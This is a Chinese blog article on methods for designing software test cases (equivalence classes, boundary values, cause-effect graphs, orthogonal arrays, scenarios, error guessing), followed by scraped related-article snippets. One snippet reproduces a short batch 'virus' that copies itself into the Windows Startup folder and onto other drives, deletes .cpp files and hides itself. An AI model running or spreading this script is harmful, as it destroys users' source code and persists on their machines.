设计测试用例的方法

article/2025/10/31 0:37:17

目录

一、根据需求去设计测试用例

二、具体的设计测试用例的方法

1.等价类

2.边界值

3.因果图法

4.正交法

5.场景法

6.错误猜测法

三、如何评价测试用例的好坏


一、根据需求去设计测试用例

验证需求的正确性。

分析需求,细化需求,从需求中提炼功能模块,划分子功能,根据子功能去写测试用例。

二、具体的设计测试用例的方法

1.等价类

把输入(特殊情况才考虑输出)划分成若干个等价类,从每个等价类中选一个具有代表性的测试用例进行测试,如果这个测试用例测试通过,那我们就说这个测试用例代表的等价类测试通过。

有效等价类:根据需求规格说明,有意义的输入的数据集合,成为有效等价类;

无效等价类:不符合需求的;

为了解决测试用例太多,输入没有办法穷举的情况。

2.边界值

针对输入输出的边界进行测试用例的设计。

3.因果图法

因果图是一种逻辑图(恒等、与、或、非),当输入有很多,不同输入的组合对应不同的输出,用因果图来分析不同输入组合和不同输出之间的关系。

因果图法设计测试用例的步骤:

①分析出所有的输入输出;

②找出输入输出之间的关系;

③根据输入输出之间的关系画因果图;

④根据因果图画判定表;

⑤根据判定表设计测试用例。

因果图举例:

4.正交法

研究多因素多水平的一种实验(测试)方法,根据正交性,从输入组合当中选取最优的组合进行试验,分析结果,通过这些最优组合得出的试验结果来分析这个试验的结果。

因素:输入的变量;

水平:变量的取值;

正交表的构成:

①列:因素数(变量的个数)

②水平数:每个变量的最大值个数

③行:L=(水平数-1)*因素数+1

正交表的性质:

①每一列不同数据出现的次数一致

②任意俩列不同数据的组合出现的次数一样

正交表设计测试用例步骤:

①确定所有的输入(变量);

②确定每一个变量的取值个数;

③确定因素数(正交表的列),水平数;

④根据正交表的性质,把变量的值映射到表中;

⑤写测试用例,正交表的每一行就是一个测试用例;

⑥补充正交表中没有的但是自己认为可能出现的测试用例。

例:

姓名、邮箱、密码、确认密码、验证码,只考虑填或不填。

①②③因素数=5;水平数=2;正交表的列=因素数=5;正交表的行=(水平数-1)*因素数+1=6

④正交表:

⑤根据每一行写测试用例 

⑥补充:全填和全不填。

5.场景法

根据场景法设计测试用例:把场景中的每一个功能点提出来,考虑功能点可能的不同的情况,根据这些情况去设计测试用例。例如:ATM取款机。

6.错误猜测法

根据测试人员的知识,经验,直觉去判断哪一个模块会出现问题,专门针对这个模块进行测试用例的编写,其作为一种补充的测试用例的方法。

三、如何评价测试用例的好坏

1.用例表达清楚,无二义性;

2.用例可操作性强;

3.用例的输入输出明确,一条用例只有一个预期结果;

4.用例的可维护性好;

5.用例对需求覆盖率高;

6.暴露程序BUG的能力强力。


http://chatgpt.dhexx.cn/article/cmvAAywU.shtml

相关文章

设计测测试用例的五大方法

目录 一.等价类 1.等价类的概念 2.等价类的分类 (1)有效等价类 (2)无效等价类 3.使用场景 4.例子 二.边界值 1.边界值的概念 2.例子 三.因果图法 1.因果图法的概念 2.因果图中的逻辑图 3.因果图设计测试用例步骤 4.…

bat简单的批处理命令

授人以鱼不如授人以渔 如何查看dos命令帮助 命令名 /? 路径使用 \ 不能使用/ 例如查看del命令帮助 1. echo 显示信息,关闭、启用命令回显 echo hello关闭回显 echo off echo hello开启回显 echo on2. 关闭当前语句回显 3. del 删除一个或多个文件 /p 删除…

.bat 是什么? (批处理脚本)

批处理(Batch),也称为批处理脚本 windows下Bat命令学习 一、基础语法: 1.批处理文件是一个“.bat”结尾的文本文件,这个文件的每一行都是一条DOS命令。可以使用任何文本文件编辑工具创建和修改。 2.批处理是一种简单的程序,可以用…

批处理获取当前系统日期及时间及星期转换为数字并加以格式美化的bat代码

代码如下: echo off&setlocal enabledelayedexpansion ::批处理获取当前系统日期及时间并格式美化的bat代码 echo 读取系统日期和时间(普通) echo. echo %date%%time% echo 或者 echo %date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%:…

用几行代码写的bat小病毒

最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581 用了三天才看完。,感觉作者整理整理可以把博客当书买了。。。 然后自己突发其想,想到了一个小病毒程序,其实也算…

黑客装X代码【BAT格式】

代码如下: echo off color 02 :start echo %random% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %rangom% %random% %random% %random% %random% %random% %rangom% %ran…

5行代码!完成bat病毒制作!!!

这个病毒的功能是删除当前目录下.cpp类型的代码。 copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" copy %0 d:\ copy %0 e:\ del *.cpp attrib h %0 1.病毒启动测试: copy %0 "%userprofile%\AppData\R…

bat的黑客代码

今天给大家分享一个装逼代码 1.新建文本文档,命名为黑客代码,输入以下代码: start http://cybermap.kaspersky.com/cn 2.然后保存关闭,把后缀名更改为bat(不会的上网搜),最后双击运行&#x…

学会这几个简单的bat代码,轻松在朋友面前装一波13

这个标题是干什么用的? 最近看晚上某些人耍cmd耍的十分开心,还自称为“黑客”,着实比较搞笑.他们那些花里胡哨的东西在外行看来十分nb,但只要略懂一些,就会发现他们的那些十分搞笑和滑稽。 今天这里分享几个类似的方法,让你在不…

简单bat编写

获取用户输入 echo off set /p a"请输入:" echo %a% echo 请按任意键退出程序 & pause > nul加入简单的if判断 echo off set /p a"请输入(1-3):" : 注意 if 条件后空格 括号 if %a% 1 (echo &quo…

决策树算法ID3、C4.5、CART算法

十、决策树算法ID3、C4.5、CART算法 1.决策树算法简述2. ID3算法2.1 信息熵2.2 条件熵2.3 信息增益2.4 算法流程 3. C4.5算法3.1 信息增益率3.2 处理连续变量3.3 处理特征缺失问题3.4 处理过拟合问题 4. CART算法4.1 基尼系数4.2 CART处理离散特征点4.3 决策回归树4.4 剪枝 5. …

决策树学习算法——ID3,C4.5,CART详解

一、决策树 决策树的学习过程包括三个步骤: a)特征选择。不同的特征和预测目标具有不同强度的相关性,选择相关性最强的特征能够有效提高预测效果。 b)节点分裂。训练集会在决策树中按照节点规则分流,如果 节点A 没办…

决策树(ID3、C4.5、CART)

1. 基本概念 所谓决策树,顾名思义,就是一种树,一种依托于策略抉择而建立起来的树。在机器学习中,决策树是一种预测模型,代表的是一种对象特征属性与对象目标值之间的一种映射关系。决策树仅有单一输出,如果…

Python实现决策树2(CART分类树及CART回归树)

接上篇 CART算法的全称是Classification And Regression Tree,采用的是Gini指数(选Gini指数最小的特征s)作为分裂标准,同时它也是包含后剪枝操作。ID3算法和C4.5算法虽然在对训练样本集的学习中可以尽可能多地挖掘信息,但其生…

树模型之三种常见的决策树:CART,…

树模型(又称决策树或者树结构模型):基本思想和方差分析中的变异分解极为相似。 目的(基本原则):将总研究样本通过某些牲(自变量取值)分成数个相对同质的子样本。每一子样本因变量的取…

决策树CART

分类回归树(CART,Classification And Regression Tree)也属于一种决策树,上回文我们介绍了基于ID3算法的决策树。作为上篇,这里只介绍CART是怎样用于分类的。 分类回归树是一棵二叉树,且每个非叶子节点都有两个孩子,所以对于第一棵…

决策树CART算法原理详解

大家好,今天用一个简单的例子来给大家介绍一下决策树中的CART算法。 CART分类树 CART分类树适用于预测结果为离散型数据的情况下,主要是计算每一组特征的Gini系数增益来确定决策树划分的优先规则,主要是采用一种二分方法,当一列…

决策树—ID3、C4.5、CART

目录 一、决策树模型与学习 1、决策树模型 2、决策树学习 二、特征选择 1、信息增益 2、信息增益率 三、决策树的生成 1、ID3算法 2、C4.5算法 3、CART算法 四、决策树停止分裂的条件 五、连续值和损失值处理 决策树(decision tree)是一…

CART决策树----基尼指数划分

文章目录 CART决策树----基尼指数划分一.决策树算法的构建二.划分选择——基尼指数三.剪枝处理1.预剪枝2.后剪枝 四.算法代码 CART决策树----基尼指数划分 一.决策树算法的构建 一般的,一棵决策树包含一个根节点,若干个内部结点和若干个叶结点&#xff…

决策树之CART 算法(回归树,分类树)

CART 算法,英文全称叫做 Classification And Regression Tree,中文叫做分类回归树。 ID3 和 C4.5 算法可以生成二叉树或多叉树,而 CART 只支持二叉树。 同时 CART 决策树比较特殊,既可以作分类树,又可以作回归树。 …